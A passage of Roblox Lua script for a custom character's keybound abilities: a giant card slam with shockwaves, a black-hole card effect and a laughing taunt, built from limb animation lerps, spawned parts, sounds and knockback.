LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0), math.rad(-25), math.rad(0)), 0.3)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.3)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-90 - 2 * math.sin(sine/12)), math.rad(-15), math.rad(4)), 0.3)
swait()
end
clean()
g1:Remove()
haloh:Remove()
attacking = false
debounce = false
damagedebounce = false
clickdebounce = false
appi = false
ws = 10
end
end)
mouse.KeyDown:connect(function(Press)
Press=Press:lower()
if Press=='y' then
if levitate then return end
if debounce then return end
clickdisallowance = true
clickdebounce = false
debounce = true
attacking = true
appi = true
ws = 0
coroutine.wrap(function()
while appi do
wait()
if Root.Velocity.y > 1 and attacking == true then
position = "Jump2"
elseif Root.Velocity.y < -1 and attacking == true then
position = "Falling2"
elseif Root.Velocity.Magnitude < 2 and attacking == true then
position = "Idle2"
elseif Root.Velocity.Magnitude > 2 and attacking == true then
position = "Walking2"
end
end
end)()
coroutine.wrap(function()
while appi do
wait()
settime = 0.05
sine = sine + change
if position == "Jump2" and attacking == true and appi == true then
change = 1
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(-3),math.rad(-4)), 0.4)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(0)), 0.4)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.4)
elseif position == "Falling2" and attacking == true and appi == true then
change = 1
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(8), math.rad(4), math.rad(0)), 0.2)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(14), math.rad(-4), math.rad(0)), 0.2)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.6, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(20)), 0.2)
elseif position == "Idle2" and attacking == true and appi == true then
change = .4
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + 1 * math.sin(sine/12)),math.rad(-40 + 2 * math.sin(sine/12))), 0.3)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2 + -.1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0)),.3)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3)
elseif position == "Walking2" and attacking == true and appi == true then
change = .8
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + 1 * math.sin(sine/12)),math.rad(-40 + 2 * math.sin(sine/12))), 0.3)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,math.rad(0) + Root.RotVelocity.Y/30,math.cos(25*math.cos(sine/8))),.3)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.92 - 0.35 * math.cos(sine/8)/2.8, 0.2 - math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) + -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + RightLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.92 + 0.35 * math.cos(sine/8)/2.8, 0.2 + math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) - -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + LeftLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3)
end
end
end)()
bigcard = Instance.new("Part",Torso)
bigcard.Material = "Neon"
bigcard.Transparency = 1
bigcard.BrickColor = BrickColor.new("White")
bigcard.Size = Vector3.new(15.65, 23.84, 0.3)
bigcard.CFrame = Root.CFrame * CFrame.new(0,18,0)
bigcard.Anchored = true
SOUND(bigcard,236989198,6,false,1)
ace = aces[math.random(1,#aces)]
acer = Instance.new("Decal",bigcard)
acer.Texture = "rbxassetid://"..ace
acer.Transparency = 1
acer.Face = "Front"
ace2 = acer:Clone()
ace2.Parent = bigcard
ace2.Face = "Back"
table.insert(FadeIn,acer)
table.insert(FadeIn,ace2)
table.insert(FadeIn,bigcard)
for i = 1, 30 do
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,1.5,-.1),.5)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0) * CFrame.Angles(math.rad(180),math.rad(10),math.rad(10)),.3)
swait()
end
ws = 10
g1 = Instance.new("BodyGyro", Root)
g1.D = 175
g1.P = 20000
g1.MaxTorque = Vector3.new(0,9000,0)
clickdisallowance = false
coroutine.wrap(function()
mouse.Button1Down:connect(function()
if clickdisallowance then return end
if clickdebounce then return end
wait(.2)
clickdebounce = true
end)
end)()
while not clickdebounce do
g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.2)
bigcard.CFrame = Root.CFrame * CFrame.new(0,18,0)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0) * CFrame.Angles(math.rad(180),math.rad(10 + 2 *math.sin(sine/12)),math.rad(10 - 2*math.sin(sine/12))),.3)
swait()
end
g1:Remove()
ws = 0
for i = 1, 13 do
bigcard.CFrame = bigcard.CFrame:lerp(Root.CFrame * CFrame.new(0,18,3) * CFrame.Angles(math.rad(10),0,0),.3)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0.2) * CFrame.Angles(math.rad(160),math.rad(10),math.rad(10)),.3)
swait()
end
locationpart = Instance.new("Part",bigcard)
locationpart.Size = Vector3.new(1,1,1)
locationpart.Transparency = 1
locationpart.CanCollide = false
locationpart.Anchored = true
locationpart.CFrame = Root.CFrame * CFrame.new(0,-3,-21)
shockwave = Instance.new("Part", Torso)
shockwave.Size = Vector3.new(1,1,1)
shockwave.CanCollide = false
shockwave.Anchored = true
shockwave.Transparency = 0
shockwave.BrickColor = BrickColor.new("White")
shockwave.CFrame = CFrame.new(locationpart.Position)
shockwavemesh = Instance.new("SpecialMesh", shockwave)
shockwavemesh.Scale = Vector3.new(5,2,5)
shockwavemesh.MeshId = "rbxassetid://20329976"
removeuseless:AddItem(shockwave,4)
shockwave2 = Instance.new("Part", Torso)
shockwave2.Size = Vector3.new(1,1,1)
shockwave2.CanCollide = false
shockwave2.Anchored = true
shockwave2.Transparency = 0
shockwave2.BrickColor = BrickColor.new("White")
shockwave2.CFrame = CFrame.new(locationpart.Position)
shockwavemesh2 = Instance.new("SpecialMesh", shockwave2)
shockwavemesh2.Scale = Vector3.new(5,2,5)
shockwavemesh2.MeshId = "rbxassetid://20329976"
removeuseless:AddItem(shockwave2,4)
shockwave3 = Instance.new("Part", Torso)
shockwave3.Size = Vector3.new(1,1,1)
shockwave3.CanCollide = false
shockwave3.Anchored = true
shockwave3.Transparency = 0
shockwave3.BrickColor = BrickColor.new("White")
shockwave3.CFrame = CFrame.new(locationpart.Position)
shockwavemesh3 = Instance.new("SpecialMesh", shockwave3)
shockwavemesh3.Scale = Vector3.new(5,2,5)
shockwavemesh3.MeshId = "rbxassetid://20329976"
removeuseless:AddItem(shockwave3,4)
shockwave4 = Instance.new("Part", Torso)
shockwave4.Size = Vector3.new(1,1,1)
shockwave4.CanCollide = false
shockwave4.Anchored = true
shockwave4.Transparency = 0
shockwave4.BrickColor = BrickColor.new("White")
shockwave4.CFrame = CFrame.new(locationpart.Position)
shockwavemesh4 = Instance.new("SpecialMesh", shockwave4)
shockwavemesh4.Scale = Vector3.new(5,2,5)
shockwavemesh4.MeshId = "rbxassetid://20329976"
removeuseless:AddItem(shockwave4,4)
Hit = damagealll(20,locationpart.Position)
for _,v in pairs(Hit) do
v:FindFirstChildOfClass("Humanoid"):TakeDamage(math.random(0,0))
vel = Instance.new("BodyVelocity",v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso"))
vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999)
torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")
vel.velocity = CFrame.new(locationpart.Position,torso.Position).lookVector*110
removeuseless:AddItem(vel,.1)
end
coroutine.wrap(function()
for i = 1, 90 do
shockwave.CFrame = shockwave.CFrame * CFrame.Angles(0,math.rad(0+12),0)
shockwavemesh.Scale = shockwavemesh.Scale + Vector3.new(1.5,.1,1.5)
shockwave.Transparency = shockwave.Transparency + 0.025
shockwave2.CFrame = shockwave2.CFrame * CFrame.Angles(0,math.rad(0+6),0)
shockwavemesh2.Scale = shockwavemesh2.Scale + Vector3.new(1.25,.25,1.25)
shockwave2.Transparency = shockwave2.Transparency + 0.04
shockwave3.CFrame = shockwave3.CFrame * CFrame.Angles(0,math.rad(0+12),0)
shockwavemesh3.Scale = shockwavemesh3.Scale + Vector3.new(.75,.75,.75)
shockwave3.Transparency = shockwave3.Transparency + 0.035
shockwave4.CFrame = shockwave3.CFrame * CFrame.Angles(0,math.rad(0+5),0)
shockwavemesh4.Scale = shockwavemesh3.Scale + Vector3.new(2.5,.5,2.5)
shockwave4.Transparency = shockwave3.Transparency + 0.03
swait()
end
end)()
SOUND(locationpart,765590102,6,false,2)
for i = 1, 24 do
bigcard.CFrame = bigcard.CFrame:lerp(Root.CFrame * CFrame.new(0,-3,-21) * CFrame.Angles(math.rad(90),0,0),.25)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(.2,.2,.2) * CFrame.Angles(0,0,0),.5)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1, 1.1, 0.4) * CFrame.Angles(math.rad(-75), math.rad(15), math.rad(4)), 0.5)
swait()
end
for i = 1, 40 do
bigcard.Transparency = bigcard.Transparency + 0.2
acer.Transparency = acer.Transparency + .2
ace2.Transparency = ace2.Transparency + .2
swait()
end
attacking = false
debounce = false
appi = false
clickdisallowance = false
clickdebounce = false
ws = 10
bigcard:Remove()
clean()
end
end)
mouse.KeyDown:connect(function(Press)
Press=Press:lower()
if Press=='u' then
if levitate then return end
if mouse.Target ~= nil then end
if debounce then return end
debounce = true
attacking = true
appi = true
ws = 0
appi = true
coroutine.wrap(function()
while appi do
wait()
if Root.Velocity.y > 1 and attacking == true then
position = "Jump2"
elseif Root.Velocity.y < -1 and attacking == true then
position = "Falling2"
elseif Root.Velocity.Magnitude < 2 and attacking == true then
position = "Idle2"
elseif Root.Velocity.Magnitude > 2 and attacking == true then
position = "Walking2"
end
end
end)()
coroutine.wrap(function()
while appi do
wait()
settime = 0.05
sine = sine + change
if position == "Jump2" and attacking == true and appi == true then
change = 1
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(-3),math.rad(-4)), 0.4)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(0)), 0.4)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.4)
elseif position == "Falling2" and attacking == true and appi == true then
change = 1
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(8), math.rad(4), math.rad(0)), 0.2)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(14), math.rad(-4), math.rad(0)), 0.2)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.6, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(20)), 0.2)
elseif position == "Idle2" and attacking == true and appi == true then
change = .4
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + 1 * math.sin(sine/12)),math.rad(-40 + 2 * math.sin(sine/12))), 0.3)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2 + -.1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0)),.3)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3)
elseif position == "Walking2" and attacking == true and appi == true then
change = .8
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + 1 * math.sin(sine/12)),math.rad(-40 + 2 * math.sin(sine/12))), 0.3)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,math.rad(0) + Root.RotVelocity.Y/30,math.cos(25*math.cos(sine/8))),.3)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.92 - 0.35 * math.cos(sine/8)/2.8, 0.2 - math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) + -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + RightLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.92 + 0.35 * math.cos(sine/8)/2.8, 0.2 + math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) - -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + LeftLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3)
end
end
end)()
g1 = Instance.new("BodyGyro", Root)
g1.D = 175
g1.P = 20000
g1.MaxTorque = Vector3.new(0,9000,0)
g1.CFrame = CFrame.new(Root.Position,mouse.Hit.p)
for i = 1, 15 do
g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.2)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,1.5,-.1),.5)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0) * CFrame.Angles(math.rad(180),math.rad(10),math.rad(10)),.3)
swait()
end
cardportal = Instance.new("Part", Torso)
cardportal.Size = Vector3.new(0.5, 0.5, 0.5)
cardportal.Material = "Neon"
cardportal.BrickColor = BrickColor.new("White")
cardportal.Transparency = 0
cardportal.Anchored = true
cardportal.CanCollide = false
cardportalMESH = Instance.new("SpecialMesh", cardportal)
cardportalMESH.MeshType = "Cylinder"
cardportalMESH.Scale = Vector3.new(.2,0.01,0.01)
cardportal.CFrame = CFrame.new(mouse.Hit.p) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(90))
for i = 1, 10 do
cardportalMESH.Scale = cardportalMESH.Scale + Vector3.new(0,4,4)
swait()
end
bigzcard = Instance.new("Part",Torso)
bigzcard.Material = "Neon"
bigzcard.Transparency = 0
bigzcard.BrickColor = BrickColor.new("White")
bigzcard.Size = Vector3.new(10, 15, 0.3)
bigzcard.CFrame = cardportal.CFrame * CFrame.new(-8,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(90))
bigzcard.Anchored = true
SOUND(bigzcard,1888686669,6,false,1)
acer = Instance.new("Decal",bigzcard)
acer.Texture = "rbxassetid://1881287656"
acer.Transparency = 0
acer.Face = "Front"
ace2 = acer:Clone()
ace2.Parent = bigzcard
ace2.Face = "Back"
spinning = true
coroutine.wrap(function()
while spinning do
bigzcard.CFrame = bigzcard.CFrame * CFrame.Angles(0,math.rad(0+5),0)
swait()
end
end)()
for i = 1, 20 do
bigzcard.CFrame = bigzcard.CFrame * CFrame.new(0,-.9,0)
swait()
end
coroutine.wrap(function()
for i = 1, 10 do
cardportalMESH.Scale = cardportalMESH.Scale - Vector3.new(0,4,4)
swait()
end
cardportal:Remove()
end)()
wait(.7)
ace3 = Instance.new("Decal",bigzcard)
ace3.Texture = "rbxassetid://1880203893"
ace3.Transparency = 1
ace3.Face = "Front"
ace4 = ace3:Clone()
ace4.Parent = bigzcard
ace4.Face = "Back"
bigzcard2 = Instance.new("Part",Torso)
bigzcard2.Material = "Neon"
bigzcard2.Transparency = 1
bigzcard2.BrickColor = BrickColor.new("Really black")
bigzcard2.Size = Vector3.new(10, 15, 0.29)
bigzcard2.CFrame = bigzcard.CFrame
bigzcard2.CanCollide = false
bigzcard2.Anchored = true
coroutine.wrap(function()
while spinning do
bigzcard2.CFrame = bigzcard2.CFrame * CFrame.Angles(0,math.rad(0+5),0)
swait()
end
end)()
blz = bl[math.random(1,#bl)]
woos = Instance.new("Sound",Torso)
woos.SoundId = "rbxassetid://"..blz
woos.Volume = 4
woos:Play()
for i = 1, 20 do
bigzcard2.Transparency = bigzcard2.Transparency - .05
bigzcard.Transparency = bigzcard.Transparency + .05
ace3.Transparency = ace3.Transparency - 0.05
ace4.Transparency = ace4.Transparency - 0.05
acer.Transparency = acer.Transparency + 0.05
ace2.Transparency = ace2.Transparency + 0.05
wait()
end
ace3.Parent = bigzcard2
ace3.Face = "Front"
ace4.Parent = bigzcard2
ace4.Face = "Back"
bigzcard:Remove()
spinning = false
blackholeactive = true
coroutine.wrap(function()
blackhole={}
orbzfade={}
for i = 1, 100 do
orbz = Instance.new("Part", Torso)
orbz.Shape = "Ball"
orbz.Material = "Neon"
orbz.BrickColor = BrickColor.new("Really black")
orbz.Size = Vector3.new(2,2,2)
orbz.Anchored = true
orbz.CanCollide = false
removeuseless:AddItem(orbz,1)
orbz.CFrame = bigzcard2.CFrame * CFrame.new(math.random(-25,25),math.random(-25,25),math.random(-25,25)) * CFrame.Angles(math.rad(-180,180),math.rad(-180,180),math.rad(-180,180))
table.insert(blackhole,orbz)
table.insert(orbzfade,orbz)
for i,v in pairs(blackhole) do
v.CFrame = v.CFrame:lerp(CFrame.new(bigzcard2.Position),.05)
end
for i,v in pairs(orbzfade) do
v.Transparency = v.Transparency + 0.025
end
swait()
end
end)()
coroutine.wrap(function()
while blackholeactive do
local Hit = damagealll(45,bigzcard2.Position)
for _,v in pairs(Hit) do
coroutine.wrap(function()
wait(.15)
if blackholeactive == false then return end
v:FindFirstChildOfClass("Humanoid"):TakeDamage(math.random(0,0))
end)()
torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")
torso.CFrame = torso.CFrame:lerp(CFrame.new(bigzcard2.Position),.1)
end
wait()
end
end)()
for i = 1, 100 do
bigzcard2.CFrame = bigzcard2.CFrame * CFrame.Angles(0,math.rad(0+20),0)
cataclysmics = Instance.new("Part", Torso)
cataclysmics.Shape = "Ball"
cataclysmics.Material = "Neon"
cataclysmics.BrickColor = BrickColor.new("Really black")
cataclysmics.Size = Vector3.new(11,11,11)
cataclysmics.Transparency = .3
cataclysmics.Anchored = true
cataclysmics.CanCollide = false
cataclysmics.CFrame = CFrame.new(bigzcard2.Position)
table.insert(LessSize,cataclysmics)
table.insert(keyYtransparency,cataclysmics)
removeuseless:AddItem(cataclysmics,1)
swait()
end
coroutine.wrap(function()
for i = 1, 20 do
for i,v in pairs(orbzfade) do
v.Transparency = v.Transparency + 0.05
end
swait()
end
end)()
explosiontable={}
ringtable={}
ringtable2={}
soundboks = Instance.new("Part",Torso)
soundboks.CanCollide = false
soundboks.Anchored = true
soundboks.Transparency = 1
soundboks.CFrame = bigzcard2.CFrame
removeuseless:AddItem(soundboks,6)
SOUND(soundboks,472579737,6,false,1)
blackholeactive = false
bigzcard2:Remove()
Hit = damagealll(60,soundboks.Position)
for _,v in pairs(Hit) do
v:FindFirstChildOfClass("Humanoid"):TakeDamage(math.random(0,0))
vel = Instance.new("BodyVelocity",v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso"))
vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999)
torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")
vel.velocity = CFrame.new(soundboks.Position,torso.Position).lookVector*200
removeuseless:AddItem(vel,.1)
end
coroutine.wrap(function()
shockwave = Instance.new("Part", Torso)
shockwave.Size = Vector3.new(1,1,1)
shockwave.CanCollide = false
shockwave.Anchored = true
shockwave.Transparency = 0
shockwave.BrickColor = BrickColor.new("Really black")
shockwave.CFrame = CFrame.new(soundboks.Position) * CFrame.new(0,-6,0)
shockwavemesh = Instance.new("SpecialMesh", shockwave)
shockwavemesh.Scale = Vector3.new(5,2,5)
shockwavemesh.MeshId = "rbxassetid://20329976"
shockwave2 = Instance.new("Part", Torso)
shockwave2.Size = Vector3.new(1,1,1)
shockwave2.CanCollide = false
shockwave2.Anchored = true
shockwave2.Transparency = 0
shockwave2.BrickColor = BrickColor.new("Really black")
shockwave2.CFrame = CFrame.new(soundboks.Position) * CFrame.new(0,-6,0)
shockwavemesh2 = Instance.new("SpecialMesh", shockwave2)
shockwavemesh2.Scale = Vector3.new(5,2,5)
shockwavemesh2.MeshId = "rbxassetid://20329976"
for i = 1, 40 do
shockwave.CFrame = shockwave.CFrame * CFrame.Angles(0,math.rad(0+15),0)
shockwave2.CFrame = shockwave2.CFrame * CFrame.Angles(0,math.rad(0+8),0)
shockwave.Transparency = shockwave.Transparency + 0.025
shockwave2.Transparency = shockwave2.Transparency + 0.025
shockwavemesh.Scale = shockwavemesh.Scale + Vector3.new(9,.9,9)
shockwavemesh2.Scale = shockwavemesh2.Scale + Vector3.new(8,.8,8)
swait()
end
shockwave:Remove()
shockwave2:Remove()
end)()
for i = 1, 4 do
explosion = Instance.new("Part", Torso)
explosion.Shape = "Ball"
explosion.Size = Vector3.new(1,1,1)
explosion.Transparency = 0
explosion.CanCollide = false
explosion.Anchored = true
explosion.BrickColor = BrickColor.new("Really black")
explosion.Material = "Neon"
explosion.CFrame = CFrame.new(bigzcard2.Position)
table.insert(ExtremeM,explosion)
table.insert(SlowlyFade,explosion)
removeuseless:AddItem(explosion,4)
ring = Instance.new("Part", Torso)
ring.Size = Vector3.new(5, 5, 5)
ring.Transparency = 0
ring.BrickColor = BrickColor.new("Really black")
ring.Anchored = true
ring.CanCollide = false
ring.CFrame = bigzcard2.CFrame * CFrame.Angles(math.rad(math.random(-180,180)), math.rad(math.random(-180,180)), math.rad(math.random(-180,180)))
ringh = Instance.new("SpecialMesh", ring)
ringh.MeshId = "http://www.roblox.com/asset/?id=3270017"
ringh.Scale = Vector3.new(2, 2, .1)
table.insert(keyYsize,ringh)
table.insert(keyYtransparency,ring)
removeuseless:AddItem(ring,4)
swait()
end
wait(1.2)
clean()
keyYsize={}
keyYtransparency={}
blackholev = false
appi = false
g1:Remove()
ws = 10
attacking = false
debounce = false
end
end)
mouse.KeyDown:connect(function(Press)
Press=Press:lower()
if Press=='t' then
if levitate then
if tauntdebounce then return end
tauntdebounce = true
laughing = true
coroutine.wrap(function()
while laughing do
local b1 = Instance.new("BillboardGui",Head)
b1.Size = UDim2.new(0,4,0,1.6)
b1.StudsOffset = Vector3.new(0,0,0)
b1.Name = "laff"
b1.AlwaysOnTop = true
b1.Adornee = Head
removeuseless:AddItem(b1,3)
local b2 = Instance.new("TextLabel",b1)
b2.BackgroundTransparency = 1
b2.Text = "HaHaHaHaHaHa..."
b2.Font = "Garamond"
b2.TextSize = 0
b2.Name = "lafftext"
b2.TextStrokeTransparency = 0
b2.TextColor3 = BrickColor.new("Really red").Color
b2.TextStrokeColor3 = Color3.new(0,0,0)
b2.Size = UDim2.new(1,0,.5,0)
table.insert(laughingtable,b2)
removeuseless:AddItem(b1,2)
coroutine.wrap(function()
if zxc then return end
zxc = true
while true do
swait()
for i,v in pairs(Head:GetChildren()) do
if v.Name == "laff" then
v.StudsOffset = v.StudsOffset + Vector3.new(math.random(-2,2),.3,math.random(-2,2))
end
end
for i,v in pairs(laughingtable) do
v.TextTransparency = v.TextTransparency + .025
v.TextStrokeTransparency = v.TextStrokeTransparency + 0.25
v.TextSize = v.TextSize + 2
v.Rotation = v.Rotation + .1
end
end
end)()
swait(10)
end
end)()
laugh = laughs[math.random(1,#laughs)]
laughy = Instance.new("Sound",Head)
laughy.SoundId = "rbxassetid://"..laugh
laughy.Volume = 10
laughy:Play()
wait(1)
wait(laughy.TimeLength)
laughing = false
laughy:Remove()
tauntdebounce = false
else
if mouse.Target ~= nil then
if debounce then return end
attacking = true
ghost()
tps = Instance.new("Sound", Torso)
tps.Volume = 5
tps.SoundId = "rbxassetid://1894958339"
tps:Play()
removeuseless:AddItem(tps,2)
g1 = Instance.new("BodyGyro", Root)
g1.D = 175
g1.P = 20000
g1.MaxTorque = Vector3.new(0,9000,0)
g1.CFrame = CFrame.new(Root.Position,mouse.Hit.p)
removeuseless:AddItem(g1,.05)
